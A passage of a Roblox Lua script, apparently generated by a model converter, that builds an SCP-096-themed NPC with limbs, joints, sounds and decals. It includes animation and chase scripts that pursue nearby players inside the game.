  1433. Part63.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  1434. Part63.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  1435. Part63.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  1436. Part63.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  1437. Part63.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  1438. Part63.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  1439. Part63.Color = Color3.new(0.972549, 0.972549, 0.972549)
  1440. Part63.Position = Vector3.new(62.2105103, 2.62147307, -91.6650696)
  1441. Part63.Color = Color3.new(0.972549, 0.972549, 0.972549)
  1442. Part64.Name = "Left Leg"
  1443. Part64.Parent = Model62
  1444. Part64.Material = Enum.Material.SmoothPlastic
  1445. Part64.BrickColor = BrickColor.new("Institutional white")
  1446. Part64.CanCollide = false
  1447. Part64.Elasticity = 0
  1448. Part64.FormFactor = Enum.FormFactor.Symmetric
  1449. Part64.Friction = 2
  1450. Part64.Size = Vector3.new(0.609632194, 2.43852758, 0.609632194)
  1451. Part64.CFrame = CFrame.new(62.637249, 1.21932447, -91.6650696, 0.999993205, 2.82727922e-27, 4.37098961e-08, -3.23116425e-27, 0.999996603, -1.97145585e-27, -4.3710024e-08, 2.253084e-27, 1)
  1452. Part64.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  1453. Part64.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  1454. Part64.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  1455. Part64.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  1456. Part64.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  1457. Part64.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  1458. Part64.Color = Color3.new(0.972549, 0.972549, 0.972549)
  1459. Part64.Position = Vector3.new(62.637249, 1.21932447, -91.6650696)
  1460. Part64.Color = Color3.new(0.972549, 0.972549, 0.972549)
  1461. Part65.Name = "Torso"
  1462. Part65.Parent = Model62
  1463. Part65.Material = Enum.Material.SmoothPlastic
  1464. Part65.BrickColor = BrickColor.new("Institutional white")
  1465. Part65.Elasticity = 0
  1466. Part65.FormFactor = Enum.FormFactor.Symmetric
  1467. Part65.Friction = 2
  1468. Part65.Size = Vector3.new(1.21926439, 1.21926379, 0.609632194)
  1469. Part65.CFrame = CFrame.new(62.9420624, 3.04821396, -91.6650696, 0.999993205, 2.82727941e-27, -1.19371949e-12, -3.23116425e-27, 0.999996662, -1.97145565e-27, 1.36424064e-12, 2.2530842e-27, 1)
  1470. Part65.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  1471. Part65.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  1472. Part65.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  1473. Part65.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  1474. Part65.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  1475. Part65.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  1476. Part65.Color = Color3.new(0.972549, 0.972549, 0.972549)
  1477. Part65.Position = Vector3.new(62.9420624, 3.04821396, -91.6650696)
  1478. Part65.Color = Color3.new(0.972549, 0.972549, 0.972549)
  1479. BodyGyro66.Parent = Part65
  1480. BodyGyro66.P = 10000
  1481. PointLight67.Parent = Part65
  1482. PointLight67.Color = Color3.new(1, 0, 0)
  1483. PointLight67.Brightness = 5.0000000692421e+23
  1484. PointLight67.Color = Color3.new(1, 0, 0)
  1485. PointLight68.Parent = Part65
  1486. PointLight68.Color = Color3.new(1, 0, 0)
  1487. PointLight68.Brightness = 5.0000000692421e+23
  1488. PointLight68.Color = Color3.new(1, 0, 0)
  1489. PointLight69.Parent = Part65
  1490. PointLight69.Color = Color3.new(1, 0, 0)
  1491. PointLight69.Brightness = 5.0000000692421e+23
  1492. PointLight69.Color = Color3.new(1, 0, 0)
  1493. PointLight70.Parent = Part65
  1494. PointLight70.Color = Color3.new(1, 0, 0)
  1495. PointLight70.Brightness = 5.0000000692421e+23
  1496. PointLight70.Color = Color3.new(1, 0, 0)
  1497. PointLight71.Parent = Part65
  1498. PointLight71.Color = Color3.new(1, 0, 0)
  1499. PointLight71.Brightness = 5.0000000692421e+23
  1500. PointLight71.Color = Color3.new(1, 0, 0)
  1501. Motor6D72.Name = "Neck"
  1502. Motor6D72.Parent = Part65
  1503. Motor6D72.C0 = CFrame.new(0, 0.609631896, 0, 0.99999994, -0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
  1504. Motor6D72.C1 = CFrame.new(0, -0.304815948, 0, 0.99999994, 0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
  1505. Motor6D72.Part0 = Part65
  1506. Motor6D72.Part1 = Part78
  1507. Motor6D73.Name = "Left Shoulder"
  1508. Motor6D73.Parent = Part65
  1509. Motor6D73.C0 = CFrame.new(1.03637469, 0.731558323, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  1510. Motor6D73.C1 = CFrame.new(0.304816097, 0.304815948, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
  1511. Motor6D73.Part0 = Part63
  1512. Motor6D73.Part1 = Part65
  1513. Motor6D74.Name = "Right Shoulder"
  1514. Motor6D74.Parent = Part65
  1515. Motor6D74.C0 = CFrame.new(-1.03637469, 0.731558323, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  1516. Motor6D74.C1 = CFrame.new(-0.304816097, 0.304815948, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
  1517. Motor6D74.Part0 = Part88
  1518. Motor6D74.Part1 = Part65
  1519. Motor6D75.Name = "Left Hip"
  1520. Motor6D75.Parent = Part65
  1521. Motor6D75.C0 = CFrame.new(-0.304816097, -1.21926379, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  1522. Motor6D75.C1 = CFrame.new(0, 0.609631896, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
  1523. Motor6D75.Part0 = Part65
  1524. Motor6D75.Part1 = Part64
  1525. Motor6D76.Name = "Right Hip"
  1526. Motor6D76.Parent = Part65
  1527. Motor6D76.C0 = CFrame.new(0.304816097, -1.21926379, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  1528. Motor6D76.C1 = CFrame.new(0, 0.609631896, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
  1529. Motor6D76.Part0 = Part65
  1530. Motor6D76.Part1 = Part77
  1531. Part77.Name = "Right Leg"
  1532. Part77.Parent = Model62
  1533. Part77.Material = Enum.Material.SmoothPlastic
  1534. Part77.BrickColor = BrickColor.new("Institutional white")
  1535. Part77.CanCollide = false
  1536. Part77.Elasticity = 0
  1537. Part77.FormFactor = Enum.FormFactor.Symmetric
  1538. Part77.Friction = 2
  1539. Part77.Size = Vector3.new(0.609632194, 2.43852758, 0.609632194)
  1540. Part77.CFrame = CFrame.new(63.2468758, 1.21932447, -91.6650696, 0.999993205, 2.82727922e-27, -4.37122836e-08, -3.23116425e-27, 0.999996603, -1.97145546e-27, 4.37127525e-08, 2.253084e-27, 1)
  1541. Part77.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  1542. Part77.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  1543. Part77.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  1544. Part77.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  1545. Part77.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  1546. Part77.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  1547. Part77.Color = Color3.new(0.972549, 0.972549, 0.972549)
  1548. Part77.Position = Vector3.new(63.2468758, 1.21932447, -91.6650696)
  1549. Part77.Color = Color3.new(0.972549, 0.972549, 0.972549)
  1550. Part78.Name = "Head"
  1551. Part78.Parent = Model62
  1552. Part78.Material = Enum.Material.SmoothPlastic
  1553. Part78.BrickColor = BrickColor.new("Institutional white")
  1554. Part78.Elasticity = 0
  1555. Part78.FormFactor = Enum.FormFactor.Symmetric
  1556. Part78.Friction = 2
  1557. Part78.Size = Vector3.new(1.21926439, 0.609631896, 0.609632194)
  1558. Part78.CFrame = CFrame.new(62.9420624, 3.96265888, -91.6650696, 0.999993086, 2.82727941e-27, -1.19371949e-12, -3.23116387e-27, 0.999996662, -1.97145565e-27, 1.36424053e-12, 2.2530842e-27, 1)
  1559. Part78.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  1560. Part78.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  1561. Part78.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  1562. Part78.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  1563. Part78.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  1564. Part78.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  1565. Part78.Color = Color3.new(0.972549, 0.972549, 0.972549)
  1566. Part78.Position = Vector3.new(62.9420624, 3.96265888, -91.6650696)
  1567. Part78.Color = Color3.new(0.972549, 0.972549, 0.972549)
  1568. SpecialMesh79.Parent = Part78
  1569. Sound80.Name = "Damage5"
  1570. Sound80.Parent = Part78
  1571. Sound80.Pitch = 1.5
  1572. Sound80.SoundId = "rbxassetid://256509968"
  1573. Sound80.Volume = 1
  1574. Sound81.Name = "Idle"
  1575. Sound81.Parent = Part78
  1576. Sound81.Pitch = 1.5
  1577. Sound81.SoundId = "rbxassetid://893111990"
  1578. Sound81.Volume = 1
  1579. Sound81.Looped = true
  1580. Sound82.Name = "Scream"
  1581. Sound82.Parent = Part78
  1582. Sound82.Pitch = 1.5
  1583. Sound82.SoundId = "rbxassetid://254933782"
  1584. Sound82.Volume = 1
  1585. Sound82.Looped = true
  1586. Sound83.Name = "Panic"
  1587. Sound83.Parent = Part78
  1588. Sound83.Pitch = 1.5
  1589. Sound83.SoundId = "rbxassetid://325080827"
  1590. Sound83.Volume = 1
  1591. SpecialMesh84.Name = "HeadMesh"
  1592. SpecialMesh84.Parent = Part78
  1593. SpecialMesh84.MeshId = "rbxassetid://36869983"
  1594. SpecialMesh84.Scale = Vector3.new(0.800000012, 1, 0.800000012)
  1595. SpecialMesh84.TextureId = "rbxassetid://367967552"
  1596. SpecialMesh84.MeshType = Enum.MeshType.FileMesh
  1597. SpecialMesh84.Scale = Vector3.new(0.800000012, 1, 0.800000012)
  1598. Weld85.Name = "HeadWeld"
  1599. Weld85.Parent = Part78
  1600. Weld85.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1601. Weld85.C1 = CFrame.new(-0.200000003, -0.419999987, 0.300000012, 1, 0, 0, 0, 0.00100100052, -0.999999523, -0, 0.999999523, 0.00100100052)
  1602. Weld85.Part0 = Part78
  1603. Weld85.Part1 = Part91
  1604. Weld86.Name = "HeadWeld"
  1605. Weld86.Parent = Part78
  1606. Weld86.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1607. Weld86.C1 = CFrame.new(0.200000003, -0.449999988, 0.300000012, 1, 0, 0, 0, 0.00100100052, -0.999999523, -0, 0.999999523, 0.00100100052)
  1608. Weld86.Part0 = Part78
  1609. Weld86.Part1 = Part94
  1610. Weld87.Name = "HeadWeld"
  1611. Weld87.Parent = Part78
  1612. Weld87.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1613. Weld87.C1 = CFrame.new(0, 0.5, 1.29999995, -1, 0, 0, 0, -0.000999999582, 0.999999523, 0, 0.999999523, 0.000999999582)
  1614. Weld87.Part0 = Part78
  1615. Weld87.Part1 = Part97
  1616. Part88.Name = "Right Arm"
  1617. Part88.Parent = Model62
  1618. Part88.Material = Enum.Material.SmoothPlastic
  1619. Part88.BrickColor = BrickColor.new("Institutional white")
  1620. Part88.CanCollide = false
  1621. Part88.Elasticity = 0
  1622. Part88.FormFactor = Enum.FormFactor.Symmetric
  1623. Part88.Friction = 2
  1624. Part88.Size = Vector3.new(0.609632194, 2.43852758, 0.609632194)
  1625. Part88.CFrame = CFrame.new(63.6736145, 2.62147307, -91.6650696, 0.999993205, 2.82727922e-27, 4.37098961e-08, -3.23116425e-27, 0.999996603, -1.97145585e-27, -4.3710024e-08, 2.253084e-27, 1)
  1626. Part88.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  1627. Part88.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  1628. Part88.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  1629. Part88.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  1630. Part88.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  1631. Part88.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  1632. Part88.Color = Color3.new(0.972549, 0.972549, 0.972549)
  1633. Part88.Position = Vector3.new(63.6736145, 2.62147307, -91.6650696)
  1634. Part88.Color = Color3.new(0.972549, 0.972549, 0.972549)
  1635. Humanoid89.Name = "SCP"
  1636. Humanoid89.Parent = Model62
  1637. Humanoid89.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
  1638. Humanoid89.HealthDisplayDistance = 0
  1639. Humanoid89.NameDisplayDistance = 0
  1640. Humanoid89.NameOcclusion = Enum.NameOcclusion.EnemyOcclusion
  1641. Humanoid89.RightLeg = Part77
  1642. Humanoid89.LeftLeg = Part64
  1643. Humanoid89.Torso = Part104
  1644. Humanoid89.Health = inf
  1645. Humanoid89.MaxHealth = inf
  1646. Humanoid89.WalkSpeed = 10
  1647. Hat90.Name = "Eye"
  1648. Hat90.Parent = Model62
  1649. Hat90.AttachmentForward = Vector3.new(-0, 0.999999523, -0.00100100052)
  1650. Hat90.AttachmentPos = Vector3.new(-0.200000003, -0.419999987, 0.300000012)
  1651. Hat90.AttachmentUp = Vector3.new(0, 0.00100100052, 0.999999523)
  1652. Part91.Name = "Handle"
  1653. Part91.Parent = Hat90
  1654. Part91.Material = Enum.Material.Neon
  1655. Part91.BrickColor = BrickColor.new("Really red")
  1656. Part91.Rotation = Vector3.new(-89.9399948, 0, 0)
  1657. Part91.CanCollide = false
  1658. Part91.Elasticity = 0
  1659. Part91.FormFactor = Enum.FormFactor.Custom
  1660. Part91.Friction = 2
  1661. Part91.Size = Vector3.new(0.541477442, 0.541183412, 0.541184902)
  1662. Part91.CFrame = CFrame.new(63.1420593, 4.16307878, -92.0853729, 0.999993086, 1.19371895e-12, -1.19491383e-15, -3.23116387e-27, 0.00100099714, 0.999996185, 1.36424053e-12, -0.999999523, 0.00100100052)
  1663. Part91.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  1664. Part91.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  1665. Part91.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  1666. Part91.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  1667. Part91.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  1668. Part91.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  1669. Part91.Color = Color3.new(1, 0, 0)
  1670. Part91.Position = Vector3.new(63.1420593, 4.16307878, -92.0853729)
  1671. Part91.Orientation = Vector3.new(-89.8399963, 0, 0)
  1672. Part91.Color = Color3.new(1, 0, 0)
  1673. SpecialMesh92.Parent = Part91
  1674. SpecialMesh92.Scale = Vector3.new(0.568191171, 0.610279262, 0.420882314)
  1675. SpecialMesh92.MeshType = Enum.MeshType.Sphere
  1676. SpecialMesh92.Scale = Vector3.new(0.568191171, 0.610279262, 0.420882314)
  1677. Hat93.Name = "Eye"
  1678. Hat93.Parent = Model62
  1679. Hat93.AttachmentForward = Vector3.new(-0, 0.999999523, -0.00100100052)
  1680. Hat93.AttachmentPos = Vector3.new(0.200000003, -0.449999988, 0.300000012)
  1681. Hat93.AttachmentUp = Vector3.new(0, 0.00100100052, 0.999999523)
  1682. Part94.Name = "Handle"
  1683. Part94.Parent = Hat93
  1684. Part94.Material = Enum.Material.Neon
  1685. Part94.BrickColor = BrickColor.new("Really red")
  1686. Part94.Rotation = Vector3.new(-89.9399948, 0, 0)
  1687. Part94.CanCollide = false
  1688. Part94.Elasticity = 0
  1689. Part94.FormFactor = Enum.FormFactor.Custom
  1690. Part94.Friction = 2
  1691. Part94.Size = Vector3.new(0.599357903, 0.599063933, 0.599065483)
  1692. Part94.CFrame = CFrame.new(62.7420654, 4.16310883, -92.1153717, 0.999993086, 1.19371895e-12, -1.19491383e-15, -3.23116387e-27, 0.00100099714, 0.999996185, 1.36424053e-12, -0.999999523, 0.00100100052)
  1693. Part94.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  1694. Part94.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  1695. Part94.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  1696. Part94.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  1697. Part94.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  1698. Part94.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  1699. Part94.Color = Color3.new(1, 0, 0)
  1700. Part94.Position = Vector3.new(62.7420654, 4.16310883, -92.1153717)
  1701. Part94.Orientation = Vector3.new(-89.8399963, 0, 0)
  1702. Part94.Color = Color3.new(1, 0, 0)
  1703. SpecialMesh95.Parent = Part94
  1704. SpecialMesh95.Scale = Vector3.new(0.568191171, 0.420882225, 0.420882314)
  1705. SpecialMesh95.MeshType = Enum.MeshType.Sphere
  1706. SpecialMesh95.Scale = Vector3.new(0.568191171, 0.420882225, 0.420882314)
  1707. Hat96.Name = "Mouth"
  1708. Hat96.Parent = Model62
  1709. Hat96.AttachmentForward = Vector3.new(-0, -0.999999523, -0.000999999582)
  1710. Hat96.AttachmentPos = Vector3.new(0, 0.5, 1.29999995)
  1711. Hat96.AttachmentRight = Vector3.new(-1, 0, 0)
  1712. Hat96.AttachmentUp = Vector3.new(0, -0.000999999582, 0.999999523)
  1713. Part97.Name = "Handle"
  1714. Part97.Parent = Hat96
  1715. Part97.Material = Enum.Material.SmoothPlastic
  1716. Part97.BrickColor = BrickColor.new("Really red")
  1717. Part97.Rotation = Vector3.new(-89.9399948, 0, 180)
  1718. Part97.CanCollide = false
  1719. Part97.Elasticity = 0
  1720. Part97.FormFactor = Enum.FormFactor.Custom
  1721. Part97.Friction = 2
  1722. Part97.Size = Vector3.new(0.628700197, 0.398687571, 1.35707223)
  1723. Part97.CFrame = CFrame.new(62.9420624, 3.16316223, -92.1663666, -0.999993086, -1.19371895e-12, -1.19371898e-15, 3.23116387e-27, -0.000999996206, 0.999996185, -1.36424053e-12, 0.999999523, 0.000999999582)
  1724. Part97.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  1725. Part97.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  1726. Part97.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  1727. Part97.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  1728. Part97.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  1729. Part97.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  1730. Part97.Color = Color3.new(1, 0, 0)
  1731. Part97.Position = Vector3.new(62.9420624, 3.16316223, -92.1663666)
  1732. Part97.Orientation = Vector3.new(-89.8399963, 0, 180)
  1733. Part97.Color = Color3.new(1, 0, 0)
  1734. SpecialMesh98.Parent = Part97
  1735. SpecialMesh98.Scale = Vector3.new(0.899999976, 1, 1)
  1736. SpecialMesh98.MeshType = Enum.MeshType.Sphere
  1737. SpecialMesh98.Scale = Vector3.new(0.899999976, 1, 1)
  1738. Decal99.Parent = Part97
  1739. Decal99.Texture = "http://www.roblox.com/asset/?id=600743425"
  1740. Decal99.Face = Enum.NormalId.Right
  1741. Decal100.Parent = Part97
  1742. Decal100.Texture = "http://www.roblox.com/asset/?id=600743425"
  1743. Decal100.Face = Enum.NormalId.Left
  1744. Decal101.Name = "MouthTex"
  1745. Decal101.Parent = Part97
  1746. Decal101.Texture = "http://www.roblox.com/asset/?id=270409456"
  1747. Decal101.Face = Enum.NormalId.Bottom
  1748. Decal102.Parent = Part97
  1749. Decal102.Texture = "http://www.roblox.com/asset/?id=600743425"
  1750. Decal103.Parent = Part97
  1751. Decal103.Texture = "http://www.roblox.com/asset/?id=600743425"
  1752. Decal103.Face = Enum.NormalId.Back
  1753. Part104.Name = "HumanoidRootPart"
  1754. Part104.Parent = Model62
  1755. Part104.Material = Enum.Material.SmoothPlastic
  1756. Part104.BrickColor = BrickColor.new("Really red")
  1757. Part104.Transparency = 1
  1758. Part104.CanCollide = false
  1759. Part104.Elasticity = 0
  1760. Part104.FormFactor = Enum.FormFactor.Symmetric
  1761. Part104.Friction = 2
  1762. Part104.Size = Vector3.new(1.21926439, 1.21926379, 0.609632194)
  1763. Part104.CFrame = CFrame.new(62.9420624, 3.04821396, -91.6650696, 0.999993324, 2.82727941e-27, -1.19371949e-12, -3.23116464e-27, 0.999996662, -1.97145565e-27, 1.36424075e-12, 2.2530842e-27, 1)
  1764. Part104.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  1765. Part104.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  1766. Part104.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  1767. Part104.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  1768. Part104.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  1769. Part104.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  1770. Part104.Color = Color3.new(1, 0, 0)
  1771. Part104.Position = Vector3.new(62.9420624, 3.04821396, -91.6650696)
  1772. Part104.Color = Color3.new(1, 0, 0)
  1773. Motor6D105.Name = "RootJoint"
  1774. Motor6D105.Parent = Part104
  1775. Motor6D105.C0 = CFrame.new(0, 0, 0, 0.99999994, -0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
  1776. Motor6D105.C1 = CFrame.new(0, 0, 0, 0.99999994, 0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
  1777. Motor6D105.Part0 = Part104
  1778. Motor6D105.Part1 = Part65
  1779. Script106.Name = "MainAnimation"
  1780. Script106.Parent = Model62
  1781. table.insert(cors,sandbox(Script106,function()
  1782. --[[ By: Brutez. ]]--
  1783. local FreeSCP096AnimationScript=script;
  1784. local FreeSCP096=FreeSCP096AnimationScript.Parent
  1785. local FreeSCP096Humanoid=nil;
  1786. local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso")
  1787. local RightShoulder=FreeSCP096Torso:FindFirstChild("Right Shoulder")
  1788. local LeftShoulder=FreeSCP096Torso:FindFirstChild("Left Shoulder")
  1789. local RightHip=FreeSCP096Torso:FindFirstChild("Right Hip")
  1790. local LeftHip=FreeSCP096Torso:FindFirstChild("Left Hip")
  1791. local Neck=FreeSCP096Torso:FindFirstChild("Neck")
  1792. local pose="Standing";
  1793. for _,Child in pairs(FreeSCP096:GetChildren())do
  1794. if Child.ClassName=="Humanoid"then
  1795. FreeSCP096Humanoid=Child;
  1796. end
  1797. end
  1798. function onRunning(speed)
  1799. if speed>0.001 then
  1800. pose = "Running"
  1801. else
  1802. pose = "Standing"
  1803. end
  1804. end
  1805. function onDied()
  1806. pose = "Dead"
  1807. end
  1808. function onJumping()
  1809. pose = "Jumping"
  1810. end
  1811. function onClimbing()
  1812. pose = "Climbing"
  1813. end
  1814. function onGettingUp()
  1815. pose = "GettingUp"
  1816. end
  1817. function onFreeFall()
  1818. pose = "FreeFall"
  1819. end
  1820. function onFallingDown()
  1821. pose = "FallingDown"
  1822. end
  1823. function onSeated()
  1824. pose = "Seated"
  1825. end
  1826. function moveJump()
  1827. RightShoulder.MaxVelocity = 0.5
  1828. LeftShoulder.MaxVelocity = 0.5
  1829. RightShoulder.DesiredAngle = 3.14
  1830. LeftShoulder.DesiredAngle = -3.14
  1831. RightHip.DesiredAngle = 0
  1832. LeftHip.DesiredAngle = 0
  1833. end
  1834. function moveFreeFall()
  1835. RightShoulder.MaxVelocity = 1
  1836. LeftShoulder.MaxVelocity = 1
  1837. RightShoulder.DesiredAngle = 4
  1838. LeftShoulder.DesiredAngle = -4
  1839. RightHip.DesiredAngle = 1
  1840. LeftHip.DesiredAngle = 1
  1841. end
  1842. function moveSit()
  1843. RightShoulder.MaxVelocity = 0.15
  1844. LeftShoulder.MaxVelocity = 0.15
  1845. RightShoulder.DesiredAngle = 3.14 /2
  1846. LeftShoulder.DesiredAngle = -3.14 /2
  1847. RightHip.DesiredAngle = 1/2
  1848. LeftHip.DesiredAngle = -1/2
  1849. end
  1850. function move(time)
  1851. local amplitude
  1852. local frequency
  1853. if (pose == "Jumping") then
  1854. moveJump()
  1855. return
  1856. end
  1857. if (pose == "FreeFall") then
  1858. moveFreeFall()
  1859. return
  1860. end
  1861. if (pose == "Seated") then
  1862. moveSit()
  1863. return
  1864. end
  1865. local climbFudge = 0
  1866. if (pose == "Running") then
  1867. RightShoulder.MaxVelocity = 0.2
  1868. LeftShoulder.MaxVelocity = 0.2
  1869. RightHip.MaxVelocity = 0.2
  1870. LeftHip.MaxVelocity = 0.2
  1871. if FreeSCP096Humanoid.WalkSpeed~=35 then
  1872. amplitude = 0.4
  1873. frequency = 4
  1874. else
  1875. amplitude = 2
  1876. frequency = 12
  1877. end
  1878. elseif (pose == "Climbing") then
  1879. RightShoulder.MaxVelocity = 0.3
  1880. LeftShoulder.MaxVelocity = 0.3
  1881. RightHip.MaxVelocity = 1
  1882. LeftHip.MaxVelocity = 1
  1883. amplitude = 0.4
  1884. frequency = 6
  1885. climbFudge = 3.14
  1886. else
  1887. amplitude = 0.1
  1888. frequency = 1
  1889. end
  1890. local desiredAngle=amplitude*math.sin(time*frequency);
  1891. if FreeSCP096Humanoid.WalkSpeed==1 then --Panic
  1892. RightShoulder.MaxVelocity = 0.05
  1893. LeftShoulder.MaxVelocity = 0.05
  1894. RightShoulder.DesiredAngle = 3.14
  1895. LeftShoulder.DesiredAngle = -3.14
  1896. end
  1897. if FreeSCP096Humanoid.WalkSpeed>10 then
  1898. RightShoulder.MaxVelocity = 5
  1899. LeftShoulder.MaxVelocity = 5
  1900. RightShoulder.DesiredAngle = 1.57
  1901. LeftShoulder.DesiredAngle = -1.57
  1902. RightHip.MaxVelocity = 3
  1903. LeftHip.MaxVelocity =3
  1904. end
  1905. if FreeSCP096Humanoid.WalkSpeed~=1 and FreeSCP096Humanoid.WalkSpeed~=35 then
  1906. RightShoulder.DesiredAngle=desiredAngle+climbFudge;
  1907. LeftShoulder.DesiredAngle=desiredAngle-climbFudge;
  1908. end
  1909. RightHip.DesiredAngle = -desiredAngle
  1910. LeftHip.DesiredAngle = -desiredAngle
  1911. end
  1912. FreeSCP096Humanoid.Died:connect(onDied)
  1913. FreeSCP096Humanoid.Running:connect(onRunning)
  1914. FreeSCP096Humanoid.Jumping:connect(onJumping)
  1915. FreeSCP096Humanoid.Climbing:connect(onClimbing)
  1916. FreeSCP096Humanoid.GettingUp:connect(onGettingUp)
  1917. FreeSCP096Humanoid.FreeFalling:connect(onFreeFall)
  1918. FreeSCP096Humanoid.FallingDown:connect(onFallingDown)
  1919. FreeSCP096Humanoid.Seated:connect(onSeated)
  1920. local nextTime=0
  1921. local runService=game:service("RunService");
  1922. while Wait(0)do
  1923. local time=runService.Stepped:wait(0);
  1924. if time>nextTime then
  1925. move(time);
  1926. nextTime=time;
  1927. end;
  1928. end;
  1929. --[[ By: Brutez. ]]--
  1930. end))
  1931. Script107.Name = "Main"
  1932. Script107.Parent = Model62
  1933. table.insert(cors,sandbox(Script107,function()
  1934. --[[ By: Brutez. ]]--
  1935. local FreeSCP096Script=script;
  1936. local FreeSCP096=FreeSCP096Script.Parent;
  1937. local FreeSCP096Humanoid=nil;
  1938. local FreeSCP096Head=FreeSCP096:FindFirstChild("Head");
  1939. local FreeSCP096Idle=FreeSCP096Head:FindFirstChild("Idle");
  1940. local FreeSCP096Panic=FreeSCP096Head:FindFirstChild("Panic");
  1941. local FreeSCP096Scream=FreeSCP096Head:FindFirstChild("Scream");
  1942. local FreeSCP096Kill=FreeSCP096Head:FindFirstChild("Damage5");
  1943. local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso");
  1944. for _,Child in pairs(FreeSCP096:GetChildren())do
  1945. if Child.ClassName=="Humanoid"then
  1946. FreeSCP096Humanoid=Child;
  1947. end
  1948. end
  1949. local NoticeDistanceTime=0;
  1950. local Noticed=false;
  1951. function findNearestTorso(pos)
  1952. local NoticeDistance=150;
  1953. local torso=nil;
  1954. for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
  1955. if TargetModel.className=="Model"and TargetModel~=FreeSCP096 and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
  1956. local TargetPart=TargetModel:FindFirstChild("Torso")
  1957. local FoundHumanoid=nil;
  1958. for _,Child in pairs(TargetModel:GetChildren())do
  1959. if Child.ClassName=="Humanoid"then
  1960. FoundHumanoid=Child;
  1961. end
  1962. end
  1963. if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<NoticeDistance then
  1964. if not Noticed and TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<20 then
  1965. if FreeSCP096Idle.IsPlaying then
  1966. FreeSCP096Idle:Stop()
  1967. end
  1968. if FreeSCP096Scream.IsPlaying then
  1969. FreeSCP096Scream:Stop()
  1970. end
  1971. FreeSCP096Panic:Play()
  1972. FreeSCP096Humanoid.WalkSpeed=1;
  1973. Wait(17)
  1974. Noticed=true
  1975. end
  1976. if Noticed then
  1977. torso=TargetPart;
  1978. NoticeDistance=(TargetPart.Position-pos).magnitude;
  1979. end;
